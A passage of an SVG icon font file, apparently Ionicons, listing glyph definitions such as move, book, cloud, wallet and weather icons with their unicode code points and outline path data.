c-2 0 -5 -2 -7 -3c-11 -8 -23 -11 -35 -11c-15 0 -30 5 -42 16c-10 9 -16 21 -19 34h20c1 0 1 1 2 1c3 2 4 5 2 8l-32 42c-1 1 -3 2 -5 2s-3 -1 -4 -2l-31 -42s-1 -1 -1 -2c0 -4 3 -6 6 -6h20c3 -19 12 -37 27 -51c16 -15 36 -22 57 -22c17 0 34 4 48 14c2 2 3 5 4 7z
M301 175c2 3 1 7 -2 9h-2h-21c-3 20 -13 40 -26 52c-16 14 -36 23 -58 23c-17 0 -34 -5 -48 -15c-2 -1 -3 -4 -4 -6c-1 -4 -1 -9 2 -12c2 -2 5 -3 8 -3c2 0 5 1 7 2c11 7 23 11 35 11c15 0 29 -5 41 -16c10 -10 17 -22 20 -36h-21h-2c-3 -2 -4 -6 -2 -9l33 -43v-1
c3 -2 7 -1 9 1z" />
    <glyph glyph-name="ion-md-move" unicode="&#xf331;" horiz-adv-x="448" 
d="M448 192l-96 -96v64h-96v-96h64l-96 -96l-96 96h64v96h-96v-64l-96 96l96 96v-64h96v96h-64l96 96l96 -96h-64v-96h96v64z" />
    <glyph glyph-name="ion-ios-book" unicode="&#xf3e8;" 
d="M98 384c54 0 100 -28 100 -82v-16v0v0v0v-284c0 -2 -3 -3 -4 -1v0c-10 34 -38 68 -82 71c-34 2 -67 -13 -93 -37c-2 -2 -5 -3 -7 -3h-4c-4 0 -8 3 -8 6v290c0 32 44 56 98 56zM318 384c54 0 98 -24 98 -56v-290c0 -3 -4 -6 -8 -6h-4c-2 0 -5 2 -7 3c-29 26 -60 39 -93 37
c-43 -3 -72 -36 -82 -70v-1c-1 -2 -4 -1 -4 1v284v0v0v0v16c0 54 46 82 100 82z" />
    <glyph glyph-name="ion-ios-cloud-outline" unicode="&#xf409;" horiz-adv-x="512" 
d="M288 324c-40 0 -77 -20 -100 -53l-7 -9c-4 -5 -10 -7 -16 -5l-11 4c-5 2 -10 4 -16 4c-11 0 -22 -5 -30 -14s-14 -20 -14 -32v-11c0 -6 -4 -10 -9 -12l-10 -4c-14 -4 -25 -13 -34 -25c-8 -12 -13 -27 -13 -41c0 -17 7 -33 19 -46s28 -20 44 -20h330c16 0 32 7 44 20
s19 29 19 46c0 15 -5 30 -15 42s-23 21 -37 23l-11 2c-6 1 -10 5 -11 11l-1 11c-3 30 -17 57 -39 77s-52 32 -82 32zM288 352v0c77 0 141 -59 149 -134c43 -8 75 -47 75 -92c0 -50 -41 -94 -91 -94h-330c-50 0 -91 44 -91 94c0 41 26 80 66 93c1 39 33 74 72 74
c10 0 19 -3 27 -6c27 39 72 65 123 65z" />
    <glyph glyph-name="ion-ios-arrow-dropdown-circle" unicode="&#xf125;" 
d="M0 192c0 115 93 208 208 208s208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208zM289 235l-81 -79l-81 81c-8 8 -19 8 -27 0s-8 -19 0 -27l95 -95c7 -7 19 -8 27 -1l94 94c4 4 6 9 6 14s-2 9 -6 13c-8 8 -19 8 -27 0z" />
    <glyph glyph-name="ion-md-pin" unicode="&#xf34a;" horiz-adv-x="320" 
d="M160 416c88 0 160 -71 160 -157c0 -118 -160 -291 -160 -291s-160 173 -160 291c0 86 72 157 160 157zM160 203c32 0 57 25 57 56s-25 56 -57 56s-57 -25 -57 -56s25 -56 57 -56z" />
    <glyph glyph-name="ion-ios-list-box" unicode="&#xf143;" 
d="M0 365c0 19 16 35 35 35h346c19 0 35 -16 35 -35v-346c0 -19 -16 -35 -35 -35h-346c-19 0 -35 16 -35 35v346zM89 68c9 1 16 8 17 17c2 13 -9 25 -22 23c-9 -1 -16 -8 -17 -17c-2 -13 9 -25 22 -23zM89 172c9 1 16 8 17 17c2 13 -9 25 -22 23c-9 -1 -16 -8 -17 -17
c-2 -13 9 -25 22 -23zM89 276c9 1 16 8 17 17c2 13 -9 25 -22 23c-9 -1 -16 -8 -17 -17c-2 -13 9 -25 22 -23zM337 74c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-180c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h180zM337 178c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-180
c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h180zM337 282c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-180c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h180z" />
    <glyph glyph-name="ion-ios-disc" unicode="&#xf16e;" 
d="M208 282c50 0 90 -40 90 -90s-40 -90 -90 -90s-90 40 -90 90s40 90 90 90zM208 152c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 78c63 0 114 51 114 114
s-51 114 -114 114s-114 -51 -114 -114s51 -114 114 -114z" />
    <glyph glyph-name="ion-ios-cube" unicode="&#xf168;" 
d="M393 318c6 -3 6 -11 0 -14l-179 -94c-4 -2 -8 -2 -12 0l-179 94c-6 3 -6 11 0 14l179 81c4 2 8 2 12 0zM232 -15c-5 -3 -11 1 -11 7v187c0 3 1 6 4 7l180 93c5 3 11 -1 11 -7v-185c0 -3 -2 -6 -4 -7zM0 272c0 6 6 10 11 7l180 -93c3 -1 4 -4 4 -7v-187
c0 -6 -6 -10 -11 -7l-180 95c-2 1 -4 4 -4 7v185z" />
    <glyph glyph-name="ion-md-thunderstorm" unicode="&#xf393;" horiz-adv-x="448" 
d="M361 287c48 -3 87 -44 87 -93c0 -52 -41 -82 -93 -82h-94l18 36h-33l33 67h-99v-103h-68c-62 0 -112 38 -112 100c0 55 38 100 91 111c6 1 15 2 21 2c50 0 91 -31 106 -75h33c-6 24 -19 47 -37 65c-25 25 -57 37 -91 40c25 31 61 45 101 45c68 0 124 -48 137 -113z
M180 80v32h81l-59 -128v96h-22z" />
    <glyph glyph-name="ion-md-male" unicode="&#xf323;" 
d="M368 400h48v-48v-128h-48v94l-107 -107c17 -24 27 -52 27 -83c0 -80 -64 -144 -144 -144s-144 64 -144 144s64 144 144 144c31 0 59 -10 83 -27l107 107h-94v48h128zM144 32c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96z" />
    <glyph glyph-name="ion-ios-color-wand" unicode="&#xf416;" horiz-adv-x="384" 
d="M382 42c3 -3 3 -8 0 -11l-29 -29c-3 -3 -8 -3 -11 0l-245 246c-3 3 -3 8 0 11l29 29c3 3 8 3 11 0zM356 28c3 3 3 8 0 11l-190 191c-3 3 -8 3 -11 0v0c-3 -3 -3 -9 0 -12l190 -190c3 -3 8 -3 11 0v0zM129 328c-7 0 -12 5 -12 12v32c0 7 5 12 12 12s12 -5 12 -12v-32
c0 -7 -5 -12 -12 -12zM129 185c7 0 12 -5 12 -12v-32c0 -7 -5 -12 -12 -12s-12 5 -12 12v32c0 7 5 12 12 12zM207 258c0 7 5 12 12 12h32c7 0 12 -5 12 -12s-5 -12 -12 -12h-32c-7 0 -12 5 -12 12zM56 258c0 -7 -6 -12 -12 -12h-32c-7 0 -12 5 -12 12s5 12 12 12h32
c7 0 12 -5 12 -12zM61 307l-21 21c-5 5 -5 12 0 17c2 2 5 3 8 3s7 -1 9 -3l21 -21c5 -5 5 -12 0 -17c-2 -2 -6 -3 -9 -3s-6 1 -8 3zM69 208c3 0 7 -1 9 -3c5 -5 5 -12 0 -17l-21 -21c-2 -2 -6 -4 -9 -4s-6 2 -8 4s-4 5 -4 8s2 7 4 9l21 21c2 2 5 3 8 3v0zM188 304
c-3 0 -6 1 -8 3s-4 6 -4 9s2 6 4 8l21 21c2 2 5 3 8 3s7 -1 9 -3c5 -5 5 -12 0 -17l-21 -21c-2 -2 -6 -3 -9 -3z" />
    <glyph glyph-name="ion-ios-pie" unicode="&#xf484;" horiz-adv-x="448" 
d="M244 380c0 2 2 4 4 4c111 -4 200 -96 200 -208c0 -114 -92 -207 -207 -208c-88 -1 -164 54 -195 131c-1 2 1 5 3 6l189 48c4 1 6 4 6 8v219zM0 209c0 90 59 205 216 207c2 0 4 -2 4 -4v-229c0 -4 -2 -7 -6 -8l-194 -50c-2 0 -4 1 -5 3c-15 32 -15 81 -15 81z" />
    <glyph glyph-name="ion-md-person" unicode="&#xf345;" horiz-adv-x="384" 
d="M192 192c-53 0 -96 43 -96 96s43 96 96 96s96 -43 96 -96s-43 -96 -96 -96zM192 144c64 0 192 -32 192 -96v-48h-384v48c0 64 128 96 192 96z" />
    <glyph glyph-name="ion-md-alert" unicode="&#xf276;" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM232 88v40h-48v-40h48zM232 176v128h-48v-128h48z" />
    <glyph glyph-name="ion-md-tennisball" unicode="&#xf38e;" 
d="M336 356c-42 -45 -64 -103 -64 -164s23 -119 65 -163c-36 -28 -81 -45 -129 -45s-93 17 -128 45c42 44 64 102 64 163s-22 119 -64 164c35 28 80 44 128 44s93 -16 128 -44zM305 193c0 27 5 53 15 78c9 23 23 44 40 62c35 -37 56 -87 56 -141s-21 -103 -55 -140
c-18 19 -31 39 -41 63c-10 25 -15 51 -15 78zM111 193c0 -27 -5 -53 -15 -78c-10 -24 -23 -45 -41 -64c-34 37 -55 87 -55 141c0 55 21 105 56 142c17 -18 31 -40 40 -63c10 -25 15 -51 15 -78z" />
    <glyph glyph-name="ion-logo-closed-captioning" unicode="&#xf105;" horiz-adv-x="448" 
d="M0 352h448v-320h-448v320zM406 192c0 23 0 38 -3 70s-20 50 -52 53s-86 3 -127 3s-95 0 -127 -3s-49 -21 -52 -53s-3 -47 -3 -70s1 -41 3 -70s17 -50 52 -53s84 -3 127 -3s92 0 127 3s50 24 52 53s3 47 3 70zM326 168c0 1 -1 3 -1 3h46c0 -24 -5 -42 -16 -54
s-29 -19 -54 -19c-12 0 -22 2 -31 5s-15 8 -21 15s-10 16 -13 28s-5 28 -5 46s2 33 6 45s8 22 15 29s15 12 24 15s19 5 30 5c22 0 38 -7 49 -19s17 -32 17 -54h-46v1c0 18 -11 29 -24 29c-14 0 -22 -9 -24 -26c0 0 -1 -10 -1 -26s1 -24 1 -24c1 -15 10 -26 24 -26
s24 10 24 26v1zM171 168c0 1 -1 3 -1 3h46c0 -24 -5 -42 -16 -54s-29 -19 -54 -19c-12 0 -21 2 -30 5s-16 8 -22 15s-10 16 -13 28s-5 28 -5 46s2 33 6 45s8 22 15 29s15 12 24 15s19 5 30 5c22 0 38 -7 49 -19s17 -32 17 -54h-45v1c0 18 -11 29 -24 29
c-14 0 -23 -9 -25 -26c0 0 -1 -10 -1 -26s1 -24 1 -24c1 -15 10 -26 24 -26s24 10 24 26v1z" />
    <glyph glyph-name="ion-ios-qr-scanner" unicode="&#xf1f3;" 
d="M126 384c8 0 14 -6 14 -14s-6 -14 -14 -14h-60c-9 0 -18 -4 -26 -12c-7 -8 -12 -17 -12 -26v-60c0 -8 -6 -14 -14 -14s-14 6 -14 14v59c0 37 30 67 67 67h59zM350 384c36 0 66 -30 66 -66v-60c0 -8 -6 -14 -14 -14s-14 6 -14 14v60c0 9 -5 18 -12 26c-8 8 -17 12 -26 12
h-60c-8 0 -14 6 -14 14s6 14 14 14h60zM126 28c8 0 14 -6 14 -14s-6 -14 -14 -14h-60c-36 0 -66 30 -66 66v60c0 8 6 14 14 14s14 -6 14 -14v-60c0 -9 5 -18 12 -26c8 -8 17 -12 26 -12h60zM402 140c8 0 14 -6 14 -14v-59c0 -37 -30 -67 -67 -67h-59c-8 0 -14 6 -14 14
s6 14 14 14h60c9 0 18 4 26 12c7 8 12 17 12 26v60c0 8 6 14 14 14z" />
    <glyph glyph-name="ion-md-flashlight" unicode="&#xf16b;" horiz-adv-x="352" 
d="M48 150l1 122h255v-122l-64 -64v-118h-128v118zM155 416h42v-64h-42v64zM0 338l30 30l45 -46l-30 -30zM277 322l45 46l30 -30l-45 -46z" />
    <glyph glyph-name="ion-ios-code" unicode="&#xf157;" horiz-adv-x="384" 
d="M268 305l114 -109c1 -1 2 -2 2 -4s-1 -3 -2 -4l-114 -109c-1 -1 -2 -2 -4 -2s-3 1 -4 2l-14 13c-1 1 -2 2 -2 4s1 3 2 4l96 92l-96 92c-1 1 -2 2 -2 4s1 3 2 4l14 13c1 1 3 2 4 2s3 -1 4 -2zM140 288c0 -2 -1 -3 -2 -4l-96 -92l96 -92c1 -1 2 -2 2 -4s-1 -3 -2 -4
l-14 -13c-1 -1 -2 -2 -4 -2c-1 0 -3 1 -4 2l-114 109c-1 1 -2 2 -2 4s1 3 2 4l114 109c1 1 3 2 4 2s3 -1 4 -2l14 -13c1 -1 2 -2 2 -4z" />
    <glyph glyph-name="ion-md-bowtie" unicode="&#xf2a1;" horiz-adv-x="448" 
d="M244 144h-40c-15 0 -28 13 -28 28v40c0 15 13 28 28 28h40c15 0 28 -13 28 -28v-40c0 -15 -13 -28 -28 -28zM144 168c0 -18 8 -35 22 -45c-6 -27 -102 -91 -134 -91c-18 0 -32 14 -32 32v256c0 18 14 32 32 32c32 0 128 -64 134 -91c-14 -10 -22 -27 -22 -45v-48z
M416 352c18 0 32 -14 32 -32v-256c0 -18 -14 -32 -32 -32c-32 0 -128 64 -134 91c14 10 22 27 22 45v48c0 18 -8 35 -22 45c6 27 102 91 134 91z" />
    <glyph glyph-name="ion-md-infinite" unicode="&#xf310;" 
d="M387 260c19 -18 29 -42 29 -68s-11 -50 -30 -68s-43 -28 -70 -28c-26 0 -51 10 -70 28l-38 36l-38 -36c-19 -18 -43 -28 -70 -28s-52 10 -71 28s-29 42 -29 68s10 50 29 68s44 28 71 28c26 0 51 -10 70 -28l108 -104c10 -10 24 -15 38 -15s28 5 38 15s15 22 15 36
s-5 26 -15 36s-24 15 -38 15s-28 -5 -38 -15v0l-17 -16l-33 32l18 16c19 18 43 28 70 28s52 -10 71 -28zM138 156l37 36l-37 36c-10 10 -24 15 -38 15s-28 -5 -38 -15s-15 -22 -15 -36s5 -26 15 -36s24 -15 38 -15s28 5 38 15z" />
    <glyph glyph-name="ion-md-volume-off" unicode="&#xf3a2;" horiz-adv-x="384" 
d="M342 192c0 69 -45 128 -107 147v45c85 -20 149 -99 149 -192c0 -35 -8 -68 -24 -96l-32 32c9 19 14 41 14 64zM192 368v-104l-51 51zM357 51v0l24 -24l-24 -24l-40 40c-23 -21 -51 -36 -82 -43v45c19 6 37 15 52 28l-95 95v-152l-107 112h-85v128h85l9 10l-91 91l24 24z
M288 192c0 -7 0 -15 -2 -22l-51 51v60c32 -16 53 -51 53 -89z" />
    <glyph glyph-name="ion-ios-flag" unicode="&#xf42d;" horiz-adv-x="320" 
d="M311 367c5 1 9 -3 9 -8v-191c0 -4 -3 -7 -7 -8c0 0 -37 -7 -72 -7s-57 6 -83 12s-51 15 -77 15c-21 0 -37 -2 -47 -4c-4 -1 -6 -4 -6 -8v-154c0 -8 -8 -15 -16 -14c-7 1 -12 7 -12 14v354l4 3c2 1 21 13 77 13c28 0 55 -5 81 -11c25 -5 50 -12 78 -12c18 0 48 3 61 5
c4 0 7 1 10 1z" />
    <glyph glyph-name="ion-md-cloud-download" unicode="&#xf2c6;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM208 180h-68l100 -100l100 100h-68v76h-64v-76z" />
    <glyph glyph-name="ion-md-git-compare" unicode="&#xf2fc;" horiz-adv-x="448" 
d="M160 66v62l96 -96l-96 -96v64h-22c-39 0 -64 11 -84 36c-18 23 -22 48 -22 94v167c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64c0 -24 -13 -44 -32 -55v-167c0 -35 2 -47 8 -54c5 -6 9 -10 34 -10h22zM64 392c-22 0 -40 -18 -40 -40s18 -40 40 -40s40 18 40 40
s-18 40 -40 40zM416 87c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v170c0 35 -2 47 -8 54c-5 6 -9 9 -34 9h-22v-64l-96 96l96 96v-62h22c39 0 64 -10 84 -35c18 -23 22 -48 22 -94v-170zM384 -8c22 0 40 18 40 40s-18 40 -40 40
s-40 -18 -40 -40s18 -40 40 -40z" />
    <glyph glyph-name="ion-ios-mic" unicode="&#xf461;" horiz-adv-x="220" 
d="M110 112c-35 0 -64 29 -64 64v160c0 35 29 64 64 64v0c35 0 64 -29 64 -64v-160c0 -35 -29 -64 -64 -64v0zM206 256c8 0 14 -6 14 -14v-69c0 -56 -42 -102 -96 -109v-52h36c8 0 14 -6 14 -14s-6 -14 -14 -14h-100c-8 0 -14 6 -14 14s6 14 14 14h36v52
c-54 7 -96 53 -96 109v69c0 8 6 14 14 14s14 -6 14 -14v-69c0 -45 37 -82 82 -82s82 37 82 82v69c0 8 6 14 14 14z" />
    <glyph glyph-name="ion-md-transgender" unicode="&#xf397;" horiz-adv-x="448" 
d="M320 416h128v-128h-35v69l-88 -88c7 -15 11 -31 11 -49c0 -55 -40 -100 -91 -110v-46h63v-40h-63v-56h-42v56h-63v40h63v46c-52 10 -91 55 -91 110c0 18 4 34 11 49l-19 19l-31 -31l-29 29l31 31l-40 40v-69h-35v128h128v-35h-63l37 -37l32 32l28 -29l-31 -31l15 -15
c20 19 48 31 78 31c24 0 46 -7 64 -20c0 0 6 -5 14 -12l81 81h-63v35zM224 158c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64z" />
    <glyph glyph-name="ion-md-headset" unicode="&#xf306;" horiz-adv-x="384" 
d="M192 400c106 0 192 -88 192 -197v-153c0 -36 -29 -66 -64 -66h-64v176h85v43c0 85 -67 153 -149 153s-149 -68 -149 -153v-43h85v-176h-64c-35 0 -64 30 -64 66v153c0 109 86 197 192 197z" />
    <glyph glyph-name="ion-md-arrow-down" unicode="&#xf27e;" horiz-adv-x="342" 
d="M192 363v-260l120 120l30 -31l-171 -171l-171 171l30 30l120 -119v260h42z" />
    <glyph glyph-name="ion-ios-partly-sunny" unicode="&#xf1df;" horiz-adv-x="480" 
d="M152 384c9 0 16 -7 16 -16v-30c0 -9 -7 -16 -16 -16v0c-9 0 -16 7 -16 16v30c0 9 7 16 16 16v0zM63 232c0 -9 -7 -16 -16 -16h-31c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h31c9 0 16 -7 16 -16v0zM64 299l-21 21c-6 6 -6 16 0 22c3 3 8 4 12 4v0c4 0 8 -1 11 -4l20 -21
c6 -6 6 -16 0 -22c-3 -3 -7 -5 -11 -5s-8 2 -11 5zM255 343c6 -6 6 -16 0 -22l-20 -21c-3 -3 -7 -4 -11 -4s-8 1 -11 4v0h-1c-6 6 -6 16 0 22l21 21c3 3 7 5 11 5v0c4 0 8 -2 11 -5zM77 175c4 0 8 -2 11 -5c6 -6 6 -16 0 -22l-20 -21c-3 -3 -7 -5 -11 -5s-9 2 -12 5
c-6 6 -6 17 0 23l21 20c3 3 7 5 11 5v0zM387 189c51 0 93 -43 93 -94s-42 -95 -93 -95h-226c-41 0 -74 36 -74 77c0 39 29 73 67 76v1v10v6c2 39 24 74 56 92c5 3 10 5 15 7c13 5 26 8 41 8c54 0 99 -39 110 -89c3 0 6 1 9 1h2zM135 164c-34 7 -59 36 -59 72
c0 40 33 74 73 74c23 0 45 -11 58 -28h-1c-5 -2 -9 -5 -14 -8c-33 -19 -56 -53 -58 -93v-6c0 -3 1 -7 1 -10v-1z" />
    <glyph glyph-name="ion-md-cloudy-night" unicode="&#xf2ca;" horiz-adv-x="448" 
d="M91 265h2h-2zM310 145c42 -3 74 -38 74 -81c0 -44 -36 -80 -80 -80h-208c-53 0 -96 44 -96 97c0 47 32 86 78 95c5 1 13 1 18 1c43 0 78 -26 91 -64h28c-6 21 -16 40 -32 56c-21 21 -48 32 -77 34c21 27 52 39 86 39c58 0 107 -41 118 -97zM80 223l-13 -17v0v5
c0 92 63 168 148 189c-9 -21 -14 -45 -14 -70c0 -20 3 -39 9 -57c-6 1 -12 1 -18 1c-22 0 -43 -4 -61 -12c-20 -9 -37 -22 -51 -39zM386 141c-3 3 -6 7 -10 10h3c24 0 48 5 69 14c-7 -27 -19 -53 -35 -74c-4 19 -14 36 -27 50z" />
    <glyph glyph-name="ion-md-nutrition" unicode="&#xf33a;" 
d="M309 212c8 -8 13 -19 13 -31c0 -14 -6 -28 -17 -36l-233 -168c-9 -6 -19 -9 -28 -9c-25 0 -44 20 -44 44c0 8 2 15 5 21v1l158 255v0c8 10 21 16 35 16c10 0 20 -4 28 -10h1zM416 303l-109 -56l-42 41l68 128l49 -28l-32 -56l37 20z" />
    <glyph glyph-name="ion-ios-options" unicode="&#xf1d9;" 
d="M251 72c6 14 21 24 37 24s31 -10 37 -24h75c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16h-75c-6 -14 -21 -24 -37 -24s-31 10 -37 24h-235c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h235zM91 208c6 14 21 24 37 24s31 -10 37 -24h235c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16
h-235c-6 -14 -21 -24 -37 -24s-31 10 -37 24h-75c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h75zM251 344c6 14 21 24 37 24s31 -10 37 -24h75c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16h-75c-6 -14 -21 -24 -37 -24s-31 10 -37 24h-235c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h235z
" />
    <glyph glyph-name="ion-md-log-out" unicode="&#xf31f;" 
d="M144 171v42h190l-45 45l31 30l96 -96l-96 -96l-30 30l44 45h-190zM208 27c44 0 85 17 116 48l30 -30c-8 -8 -17 -16 -27 -23c-35 -24 -76 -38 -119 -38c-114 0 -208 93 -208 208s94 208 208 208c43 0 84 -13 119 -37c10 -7 19 -16 27 -24l-30 -30c-31 31 -72 48 -116 48
s-86 -17 -117 -48s-48 -73 -48 -117s17 -86 48 -117s73 -48 117 -48zM401 192l-1 1l-1 -1l1 -1z" />
    <glyph glyph-name="ion-md-appstore" unicode="&#xf27b;" 
d="M416 296c-19 -214 -13 -312 -13 -312h-390s6 96 -13 312h104c0 57 47 104 104 104s104 -47 104 -104h104zM208 374c-43 0 -78 -35 -78 -78h156c0 43 -35 78 -78 78zM156 50l143 85l-143 84v-169z" />
    <glyph glyph-name="ion-md-cellular" unicode="&#xf164;" horiz-adv-x="384" 
d="M0 0l384 384v-384h-384z" />
    <glyph glyph-name="ion-ios-beer" unicode="&#xf126;" horiz-adv-x="384" 
d="M48 286v-96h-26c-9 0 -17 8 -17 17c0 16 11 22 11 35v51c0 19 -16 12 -16 41v4c0 26 25 43 50 43c10 0 18 -1 23 -2c6 -1 12 1 16 6c9 10 22 17 36 17c9 0 19 -2 26 -7c6 -4 13 -2 17 3c10 11 23 18 44 18c24 0 47 -16 56 -39c2 -5 7 -9 13 -9h1c21 0 38 -17 38 -38v-22
c0 -2 -3 -4 -5 -2v0c-4 3 -8 4 -13 4h-230c-13 0 -24 -11 -24 -24zM322 -4c8 0 14 -6 14 -14s-6 -14 -14 -14h-276c-8 0 -14 6 -14 14s6 14 14 14h276zM336 254c26 0 48 -22 48 -48v-96c0 -26 -22 -48 -48 -48h-32c0 -12 2 -18 5 -30c1 -6 0 -12 -5 -16c-3 -3 -7 -4 -11 -4
h-214c-6 0 -12 3 -15 8c-3 4 -4 9 -3 14v0c2 12 3 18 3 30v214c0 9 7 16 16 16h208c9 0 16 -7 16 -16v-24h32zM356 110v96c0 11 -9 20 -20 20h-32v-136h32c11 0 20 9 20 20z" />
    <glyph glyph-name="ion-ios-snow" unicode="&#xf218;" horiz-adv-x="384" 
d="M377 102c7 -4 9 -13 5 -20c-3 -5 -8 -8 -13 -8c-3 0 -6 1 -8 2l-32 19c-4 -16 -2 -32 -2 -32c1 -8 -4 -15 -12 -17c-1 0 -2 -1 -3 -1c-7 0 -13 6 -14 13c0 1 -4 26 6 52l-96 56v-99c27 -5 46 -20 47 -21c3 -2 6 -6 6 -10s-1 -8 -4 -11s-7 -5 -11 -5c-3 0 -7 1 -10 3
c0 0 -12 10 -28 14v-38c0 -8 -8 -15 -16 -15s-15 7 -15 15v38c-16 -4 -29 -14 -29 -14c-3 -2 -7 -3 -10 -3c-4 0 -8 2 -11 5s-4 7 -4 11s3 8 6 10c1 1 21 16 48 21v99l-96 -56c10 -26 6 -51 6 -52c-1 -7 -7 -13 -14 -13c-1 0 -2 1 -3 1c-8 2 -13 9 -12 17c0 0 2 16 -3 32
l-32 -19c-2 -1 -5 -2 -8 -2c-5 0 -10 3 -13 8c-4 7 -2 16 5 20l33 19c-12 12 -26 19 -26 19c-8 3 -11 11 -9 19c2 6 7 9 13 9c2 0 4 0 6 -1c1 0 24 -10 42 -31l96 56l-96 56c-18 -21 -41 -31 -42 -31c-2 -1 -4 -1 -6 -1c-6 0 -11 4 -13 10c-2 8 1 16 9 19c0 0 14 6 26 18
l-33 19c-7 4 -9 13 -5 20c3 5 8 8 13 8c3 0 6 -1 8 -2l32 -19c5 16 3 32 3 32c-1 8 4 16 12 18h3c7 0 13 -6 14 -13c0 -1 4 -26 -6 -52l96 -56v100c-27 5 -47 19 -48 20c-3 2 -6 6 -6 10s1 8 4 11s7 5 11 5s7 -1 10 -3c0 0 13 -10 29 -14v38c0 8 7 15 15 15s16 -7 16 -15
v-38c16 4 28 14 28 14c3 2 7 3 10 3c4 0 8 -2 11 -5s4 -7 4 -11s-3 -8 -6 -10c-1 -1 -20 -16 -47 -21v-99l96 56c-10 26 -7 51 -7 52c1 7 8 13 15 13c1 0 2 -1 3 -1c8 -2 13 -9 12 -17c0 -1 -2 -16 2 -32l32 19c2 1 5 2 8 2c5 0 10 -3 13 -8c4 -7 2 -16 -5 -20l-33 -19
c12 -12 26 -19 26 -19c8 -3 11 -11 9 -19c-2 -6 -7 -9 -13 -9c-2 0 -4 0 -6 1c-1 0 -24 10 -42 31l-96 -56l96 -56c18 21 41 31 42 31c2 1 4 1 6 1c6 0 11 -4 13 -10c2 -8 -1 -16 -9 -19c0 0 -14 -6 -26 -18z" />
    <glyph glyph-name="ion-ios-happy" unicode="&#xf192;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM280 248c-13 0 -24 -11 -24 -24s11 -24 24 -24s24 11 24 24s-11 24 -24 24zM136 248c-13 0 -24 -11 -24 -24s11 -24 24 -24s24 11 24 24s-11 24 -24 24zM208 79c45 0 82 30 94 71
c2 5 -3 10 -8 10h-172c-5 0 -10 -5 -8 -10c12 -41 49 -71 94 -71z" />
    <glyph glyph-name="ion-md-wallet" unicode="&#xf18f;" 
d="M155 107c0 -24 18 -43 42 -43h197v-21c0 -24 -18 -43 -42 -43h-308c-24 0 -44 18 -44 42v300c0 24 20 42 44 42h308c23 0 42 -19 42 -43v-21h-197c-24 0 -42 -19 -42 -43v-170zM197 262c0 9 7 16 16 16h187c9 0 16 -7 16 -16v-140c0 -9 -7 -16 -16 -16h-187
c-9 0 -16 7 -16 16v140zM274 160c16 1 29 14 30 30c1 19 -15 35 -34 34c-16 -1 -29 -14 -30 -30c-1 -19 15 -35 34 -34z" />
    <glyph glyph-name="ion-md-funnel" unicode="&#xf2f7;" horiz-adv-x="448" 
d="M176 48v48h96v-48h-96zM0 336h448v-48h-448v48zM80 167v50h288v-50h-288z" />
    <glyph glyph-name="ion-ios-refresh-circle" unicode="&#xf135;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 64c67 0 123 51 128 117c0 6 -4 11 -10 11v0c-5 0 -10 -4 -10 -9c-4 -55 -51 -98 -107 -99c-59 -1 -108 47 -109 106c-1 60 48 110 108 110v-42c0 -6 7 -10 12 -7l73 47
c5 3 5 10 0 13l-73 53c-5 4 -12 -1 -12 -7v-37c-71 0 -128 -57 -128 -128s57 -128 128 -128z" />
    <glyph glyph-name="ion-ios-watch" unicode="&#xf269;" 
d="M392 287c16 -25 24 -53 24 -82v-41c0 -21 -4 -40 -12 -58c-8 -17 -19 -33 -33 -46c-28 -25 -66 -39 -108 -39c-41 0 -54 8 -65 14c-7 4 -13 6 -27 7c-38 2 -69 16 -94 40c-3 2 -4 5 -4 9c0 3 2 7 4 9c2 3 5 4 9 4c3 0 8 -1 10 -3c20 -19 45 -30 77 -32
c20 -1 29 -6 37 -11c9 -5 19 -10 53 -10c35 0 67 12 90 32c12 10 21 22 27 36c7 15 10 31 10 48v41c0 24 -7 48 -20 68c-12 20 -30 35 -51 46c-3 2 -6 5 -7 8s-1 7 1 10c2 4 7 7 12 7c2 0 4 0 6 -1c25 -13 46 -32 61 -56zM236 65c-6 1 -11 6 -11 13v2c1 6 7 11 13 11h2
c7 -1 14 -2 21 -2c26 0 48 9 65 25c2 2 6 4 9 4c4 0 7 -2 9 -5c5 -5 5 -13 0 -18c-11 -10 -24 -19 -38 -24s-29 -8 -45 -8c-8 0 -16 1 -25 2zM238 86v0v0v0zM175 26c7 0 13 -6 13 -13s-6 -13 -13 -13c-46 0 -86 16 -121 47s-54 73 -54 114v44c0 29 8 57 24 82
c15 24 36 43 61 56c2 1 4 1 6 1c5 0 10 -3 12 -7c2 -3 2 -7 1 -10s-4 -6 -7 -8c-21 -11 -39 -26 -51 -46c-13 -20 -20 -44 -20 -68v-44c0 -34 17 -68 46 -94c30 -27 63 -41 103 -41zM300 333c-1 -14 11 -26 25 -26v0c2 0 3 -3 1 -4c-8 -7 -18 -10 -29 -10h-178
